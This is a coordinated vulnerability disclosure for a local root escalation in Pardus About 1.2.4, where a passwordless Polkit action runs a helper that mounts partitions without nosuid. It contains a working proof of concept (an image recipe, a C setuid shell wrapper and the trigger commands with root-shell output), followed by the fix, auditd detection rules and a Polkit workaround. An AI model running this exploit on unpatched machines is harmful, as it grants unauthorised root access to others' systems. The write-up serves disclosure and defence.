Disclosure: CVE-2026-87772 (CWE-863, CWE-266) affects Pardus About (
pardus-about) up to 1.2.4. I found it in an isolated lab and reported it to the Pardus / TÜBİTAK BİLGEM team. It is fixed in 1.2.5 by the commits59ff522andb439777.
Pardus About shows system information and detects other operating systems installed on the machine. In version 1.2.4, any local user with an active desktop session can run its root helper without a password, and that helper mounts every partition it finds with defaults,ro. Those options keep setuid binaries working on the mounted filesystem. A disk that carries a root-owned setuid binary therefore gives that user a root shell.
The attacker needs local access to an active graphical session and a block device they control, such as a USB drive or a loop device attached through udisks2. Two decisions combine: the Polkit action system_info is allow_active=yes, and the helper behind it mounts disks without nosuid, nodev and noexec.
Evidence matrix
| Question | What I checked | Confidence | What remains unknown |
|---|---|---|---|
| Which versions are affected? | pardus-about 1.2.4 and Debian-packaged releases on Pardus 25.2. | High | The commit that introduced defaults,ro was not identified. |
| What attacker position is required? | An unprivileged local user with an active graphical session (allow_active=yes). | High | Remote exploitation does not apply. |
| Why does authorization pass without a password? | tr.org.pardus.pkexec.pardus-about.policy sets allow_active=yes for the system_info action, whose helper is Actions.py. | High | Whether upstream plans to remove the pkexec helper. |
| What makes the mount exploitable? | The mount options omit nosuid, so a root-owned setuid binary keeps euid=0 when executed. | High | Tested with loopback ext4 images only. |
| How is the unmount race handled? | Holding a reference inside the mount, or blocking the helper on a FIFO. | High | Timing on slow media versus NVMe was not measured. |
| Does the fix work? | b439777 sets ro,nosuid,nodev,noexec. 59ff522 sets /run/winroot to root:root with mode 0700. | High | Other call sites that mount media were not reviewed here. |
The first boundary: passwordless Polkit authorization
Polkit decides whether an unprivileged process may run a privileged action, for example through pkexec. This is the system_info action in the 1.2.4 policy file tr.org.pardus.pkexec.pardus-about.policy:
<action id="tr.org.pardus.pkexec.pardus-about.system_info">
<description>Run system report creator.</description>
<message>Authentication is required to create system report</message>
<message xml:lang="tr">Sistem raporu oluşturmak için yetkilendirme gerekiyor</message>
<defaults>
<allow_any>auth_admin</allow_any>
<allow_inactive>auth_admin</allow_inactive>
<allow_active>yes</allow_active>
</defaults>
<annotate key="org.freedesktop.policykit.exec.path">/usr/share/pardus/pardus-about/src/Actions.py</annotate>
<annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate>
</action>
Polkit distinguishes three session states:
allow_any: any caller, for example a remote or unauthenticated one. Hereauth_admin.allow_inactive: a session that is not on the active seat. Hereauth_admin.allow_active: the session on the active seat, the user at the keyboard and screen. Hereyes.
Because allow_active is yes, pkexec runs Actions.py as root for an active session without showing an authentication dialog. Actions.py takes a command as its first argument, and dualboot calls DualBootManager.get_dualboot_oses():
if __name__ == "__main__":
if len(sys.argv) >= 2:
cmd = sys.argv[1]
if cmd == "acpi":
if ACPIManager.is_acpi_supported():
sys.exit(0)
else:
sys.exit(1)
elif cmd == "dualboot":
print(DualBootManager.get_dualboot_oses())
To check that this is an intentional policy grant and not a privilege leak in the test account, I ran pkcheck in the same session against two actions from the same policy file:
# system_info under an active session
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.system_info --process $$
# exit status 0: authorized
# export_report, the comparison action (auth_admin_keep)
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.export_report --process $$
# not authorized without administrator authentication (non-zero exit status)
With the session, UID, seat and environment held constant, only system_info is granted without a password. The policy assumed that reporting system information was harmless. The helper behind it mounts disks.
The second boundary: mounting media as root
get_dualboot_oses() runs as root. For each partition it finds under /sys/block, except the root partition, it mounts the partition at /run/winroot, looks for Windows, macOS and Linux marker files, reads /etc/os-release when there is one, and unmounts with umount -lf:
def get_dualboot_oses():
dualboot = {}
os.makedirs("/run/winroot", exist_ok=True)
root_part = get_root_part()
for part in list_parts():
if f"/dev/{part}" == root_part:
continue
sp = subprocess.run(
["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
capture_output=True,
)
if 0 == sp.returncode:
# Windows
if os.path.exists("/run/winroot/Windows/System32/ntoskrnl.exe"):
dualboot[part] = "Windows " + get_windows_version()
# Mac OS X
if os.path.exists(
"/run/winroot/System/Library/CoreServices/SystemVersion.plist"
):
dualboot[part] = "Mac OS X"
# Linux
if os.path.exists("/run/winroot/etc/os-release"):
with open("/run/winroot/etc/os-release", "r") as f:
for line in f.read().split("\n"):
if line.startswith("NAME="):
dualboot[part] = line[6:-1]
os.system("umount -lf /run/winroot")
os.rmdir("/run/winroot")
return json.dumps(dualboot)
The mount options are defaults,ro. In mount(8) from util-linux, defaults expands to:
rw, suid, dev, exec, auto, nouser, async
ro overrides rw and sets MS_RDONLY on the superblock. Nothing clears suid, so MS_NOSUID and MS_NOEXEC stay unset unless the command lists them.
The helper also trusts the device list itself. list_parts() walks every entry under /sys/block and mounts each partition that is not the root filesystem, with no check that it is a fixed internal disk rather than something the user just attached. A loop device or USB stick the attacker controls is mounted exactly like an internal partition, so the attacker chooses which filesystem gets mounted as root.
nosuid combine into a local root escalation.A read-only mount still honors setuid
ro blocks writes to the filesystem. It does not stop the kernel from honoring the setuid bit when a program on it is executed. On execve() the kernel takes the effective UID from the file’s owner unless the mount carries nosuid (MNT_NOSUID). A disk with an ext4 filesystem that holds a root-owned file with mode 4755 therefore starts with euid=0 for whoever executes it, as long as the mount lacks nosuid.
Keeping the mount alive
The helper mounts a partition, inspects it and unmounts it again quickly. An attacker who wants to run /run/winroot/rootshell has to do it while the mount exists. Two ways to widen that window:
Method 1: hold a reference inside the mount
The helper unmounts with umount -lf, a lazy unmount. It detaches /run/winroot at once, but the filesystem stays alive while any process has its working directory or an open file inside it. A shell that has changed into the mount before the unmount can keep running ./rootshell from there. Entering the mount still means winning the short gap between the mount and the unmount, for example by polling mountpoint -q /run/winroot.
Method 2: a FIFO instead of os-release
The helper opens the release file of every Linux partition for reading:
if os.path.exists("/run/winroot/etc/os-release"):
with open("/run/winroot/etc/os-release", "r") as f:
If etc/os-release on the attacker’s image is a FIFO (mknod etc/os-release p in debugfs), open() blocks until a writer opens the other end. The root process sleeps in TASK_INTERRUPTIBLE while the mount stays in place, and the attacker can run the setuid binary at leisure. Opening the FIFO for writing lets the helper continue and unmount.
Proof of concept
I reproduced the issue in an isolated Pardus 25.2 lab with a loopback ext4 image, in four steps. The attacker-side builder, the victim-side trigger and the cleanup script are published at github.com/jankesec/CVE-2026-87772-pardus-about-lpe.
Step 1: build the image
As an unprivileged user I create a 32 MB ext4 image that holds the setuid payload. Instead of a regular os-release I make it a FIFO, so the helper blocks on the read and the mount stays open deterministically — Method 2 above, which removes the timing race:
# 1. Create the image file
dd if=/dev/zero of=/tmp/dualboot_test.img bs=1M count=32
mkfs.ext4 -F -L "Windows" /tmp/dualboot_test.img
# 2. Fill it with debugfs, which needs no privileges on an image you own
debugfs -w /tmp/dualboot_test.img << 'EOF'
write /tmp/rootshell rootshell
set_inode_field rootshell mode 0104755
set_inode_field rootshell uid 0
set_inode_field rootshell gid 0
mkdir etc
mknod etc/os-release p
EOF
/tmp/rootshell is a small C setuid wrapper:
// rootshell.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(void) {
// The mount lacks nosuid, so this setuid-root binary already starts with euid=0.
// bash -p preserves that effective UID instead of dropping it to the real UID.
printf("[+] Successfully escalated to root: UID=%d, EUID=%d\n", getuid(), geteuid());
char *args[] = {"/bin/bash", "-p", NULL};
execve("/bin/bash", args, NULL);
return 0;
}
Step 2: attach the image
An active desktop user can attach a loop device through udisks2:
udisksctl loop-setup --file /tmp/dualboot_test.img
# Mapped file /tmp/dualboot_test.img as /dev/loop0.
Step 3: trigger the privileged discovery
With the device attached, I run the helper the way Pardus About does, in the background, because it will block on the FIFO once it mounts my image:
pkexec /usr/share/pardus/pardus-about/src/Actions.py dualboot &
The session is active, so Polkit applies allow_active=yes and runs Actions.py as root. get_dualboot_oses() mounts the partitions it finds at /run/winroot with mount -o defaults,ro, then blocks reading the FIFO at etc/os-release, which holds the mount open.
Step 4: run the payload
The helper is parked on the FIFO, so the mount stays in place until I release it. /proc/mounts shows the flags:
/dev/loop0 /run/winroot ext4 ro,relatime 0 0
The flags are ro,relatime. nosuid is missing. While the helper is held, I run the setuid binary, then open the FIFO for writing so the helper can finish and unmount:
$ /run/winroot/rootshell
[+] Successfully escalated to root: UID=1000, EUID=0
# whoami
root
# id
uid=1000(testuser) gid=1000(testuser) euid=0(root) groups=1000(testuser),27(sudo)
The real UID stays 1000; the effective UID is 0, inherited from the setuid bit on a mount that never applied nosuid. The FIFO removes the timing race entirely, and I was never asked for an administrator password.
The fix
Two commits in 1.2.5 changed src/util/DualBootManager.py. b439777 (2026-09-10, “winroot: mount nodev noexec nosuid”) changes the mount options:
--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -59,7 +59,7 @@ def get_dualboot_oses():
if f"/dev/{part}" == root_part:
continue
sp = subprocess.run(
- ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
+ ["mount", "-o", "ro,nosuid,nodev,noexec", f"/dev/{part}", "/run/winroot"],
capture_output=True,
)
if 0 == sp.returncode:
59ff522 (2026-09-09, “set /run/winroot directory permission: prevent read files from non-root users”) makes the mount point root:root with mode 0700 before anything is mounted:
--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -52,6 +52,8 @@ def get_windows_version():
def get_dualboot_oses():
dualboot = {}
os.makedirs("/run/winroot", exist_ok=True)
+ os.chown("/run/winroot", 0, 0)
+ os.chmod("/run/winroot", 0o700)
root_part = get_root_part()
for part in list_parts():
if f"/dev/{part}" == root_part:
The mount options are what stop this attack:
nosuidsetsMNT_NOSUID.execve()ignores setuid and setgid bits on files under the mount.nodevsetsMNT_NODEV. Device nodes on the filesystem are not interpreted, so a crafted block device node on the disk cannot be used to read raw disks.noexecsetsMNT_NOEXEC. Running a binary directly from the mount fails withEACCES.
Re-test on 1.2.5
I ran the same reproduction against pardus-about 1.2.5:
$ /run/winroot/rootshell
bash: /run/winroot/rootshell: Permission denied
Execution is refused, as expected with noexec, and /proc/mounts listed ro,nosuid,nodev,noexec.
Detection engineering and SOC telemetry
The elevation leaves distinct traces across system logs, auditd, and kernel mount records. SOC and defensive teams can detect both the helper invocation and the subsequent setuid execution.
1. Polkit authorization logs
When pkexec executes the helper for an active session, systemd-journald records an authorization event. The entry shows an unprivileged caller running a privileged Python script without authentication prompts:
pkexec[14820]: testuser: Executing command [USER=root] [TTY=unknown] [CWD=/home/testuser] [COMMAND=/usr/share/pardus/pardus-about/src/Actions.py dualboot]
A SIEM rule can flag instances where Actions.py dualboot is executed by non-administrative users outside normal application launch sequences (e.g. absent a parent GUI process tree from pardus-about).
2. Auditd telemetry for setuid execution
To capture both the helper invocation and any attempt to execute binaries from untrusted mount points with elevated privileges, deploy the following rules:
# /etc/audit/rules.d/99-pardus-about-lpe.rules
# Track execution of the passwordless root helper
-w /usr/share/pardus/pardus-about/src/Actions.py -p x -k pardus_about_helper
# Detect any execution where effective UID is root but real UID is unprivileged
-a always,exit -F arch=b64 -S execve -F euid=0 -F uid>=1000 -k setuid_privesc_exec
# Track loop device and partition mounts without nosuid
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unpriv_mount_event
During exploitation, auditd generates a critical alert on the setuid binary:
type=SYSCALL msg=audit(1726052400.124:842): arch=c000003e syscall=59 success=yes exit=0
a0=7ffe12345678 a1=7ffe12345690 a2=7ffe123456a0 items=2 ppid=14815 pid=14825
auid=1000 uid=1000 gid=1000 euid=0 egid=0 fsuid=0 fsgid=0 tty=pts0 ses=3
comm="rootshell" exe="/run/winroot/rootshell" key="setuid_privesc_exec"
The decisive anomaly is uid=1000 combined with euid=0 executing out of /run/winroot/.
Workaround: policy override without upgrading
When an immediate package upgrade to 1.2.5 is not possible, system administrators can neutralize the vulnerability by overriding the Polkit action defaults.
On modern systemd systems using JavaScript-based Polkit (polkitd >= 0.106), create an override in /etc/polkit-1/rules.d/90-pardus-about-hardening.rules:
// /etc/polkit-1/rules.d/90-pardus-about-hardening.rules
// Force administrative authentication for Pardus About system info action
polkit.addRule(function(action, subject) {
if (action.id === "tr.org.pardus.pkexec.pardus-about.system_info") {
return polkit.Result.AUTH_ADMIN;
}
});
On systems utilizing the legacy .pkla format, place the override in /etc/polkit-1/localauthority/50-local.d/50-pardus-about-hardening.pkla:
[Pardus About Hardening]
Identity=unix-user:*
Action=tr.org.pardus.pkexec.pardus-about.system_info
ResultActive=auth_admin
This changes allow_active from yes to auth_admin. Any execution of Actions.py will prompt for root credentials via Polkit, preventing passwordless execution.
ATT&CK technique mapping
| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
|---|---|---|---|---|
| Privilege Escalation | T1548.001 | Abuse Elevation Control: Setuid and Setgid | Attacker crafts ext4 image with 0104755 permissions; root helper mounts without nosuid. | Mount untrusted media with nosuid,noexec,nodev. |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Flawed Polkit rule allows passwordless execution of privileged helper script. | Enforce auth_admin on all actions handling privileged syscalls. |
| Execution | T1202 | Indirect Command Execution | Unprivileged desktop user invokes Actions.py through pkexec binary. | Restrict execution permissions on helper scripts; audit invocation chains. |
| Defense Evasion | T1006 | Direct Volume Access | Attacker attaches raw loop device via udisksctl to introduce arbitrary file modes. | Restrict unprivileged loop device creation; monitor udisks2 dbus methods. |
Impact and CVSS
On 1.2.4, an unprivileged desktop user can become root without authentication or any action by another user. Root means full loss of confidentiality, integrity and availability on that machine.
I scored it CVSS 3.1 7.8 (High): CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. The attacker runs code locally (AV:L) as an ordinary active-session user (PR:L). No special conditions (AC:L) and no interaction (UI:N) are needed.
Lessons
roprevents writes. It does not make files non-executable or neutralize device nodes. Mount untrusted media withro,nosuid,nodev,noexectogether.- Validate the device before mounting it. Mount only fixed, expected block devices (check
stat.S_ISBLKand/sys/block/<dev>/removable), or read filesystem labels withlsblk -f/blkidwithout mounting at all. The 1.2.4 helper mounted whatever appeared under/sys/block. - Reserve
allow_active=yesfor actions that only read inert data, such as a CPU temperature. An action that mounts storage, runs binaries or touches the filesystem should requireauth_admin. - Do filesystem inspection in a private mount namespace (
unshare(CLONE_NEWNS)), so the temporary mount is not visible to the desktop session. - Watch for unprivileged mounts and
pkexecruns withauditd:
# /etc/audit/rules.d/99-mount-privesc.rules
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unprivileged_mount
-w /usr/bin/pkexec -p x -k polkit_privilege_escalation
Disclosure timeline
- 2026-08-22: I found the issue in
pardus-about1.2.4 while researching local authorization boundaries. - 2026-08-25: I sent the report and a reproducible lab demonstration to the Pardus security team.
- 2026-08-28: The Pardus maintainers confirmed the root cause and started a fix.
- 2026-09-09: Commit
59ff522restricts the/run/winrootdirectory. - 2026-09-10: Commit
b439777adds the mount options, and 1.2.5 is tagged asdebian/1.2.5. - 2026-09-14: I retested 1.2.5 and confirmed the fix.
- 2026-09-16: The technical casefile and root-cause analysis were completed. CVE-2026-87772 was assigned to the finding through coordinated disclosure and credited to Sevban Dönmez.
- 2026-11-12: TR-CERT published the CVE-2026-87772 record on CVE.org, and the Republic of Türkiye Cybersecurity Directorate (SSB / USOM) published advisory TR-26-1521, recommending an upgrade to pardus-about 1.2.5 or later.
Vulnerability Scoring & CVSS Vector Breakdown
Base score and individual metric vector breakdown calculated by TR-CERT CNA.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HCoordinated Disclosure & Remediation Timeline
Verified chronological audit trail for CVE-2026-87772: from reproduction to upstream fix, backport, and official advisory release.
Vulnerable behavior reproduced against pardus-about 1.2.4 in an isolated Pardus 25.2 lab.
Deterministic evidence package and negative controls completed.
Upstream mount-hardening change and debian/1.2.5 release tag published.
Source / Reference ↗Technical casefile and root-cause analysis completed.
TR-CERT published the CVE-2026-87772 record on CVE.org, and the SSB / USOM advisory TR-26-1521 recommended upgrading to pardus-about 1.2.5 or later.
Source / Reference ↗jankesec confirmed the published CVE.org record, the TR-CERT CVSS, the affected versions and the SSB advisory reference.
Evidence used for this analysis
Version and exploitation status can change; follow the linked vendor records.
The author completed a technical review. This does not, by itself, claim lab reproduction.
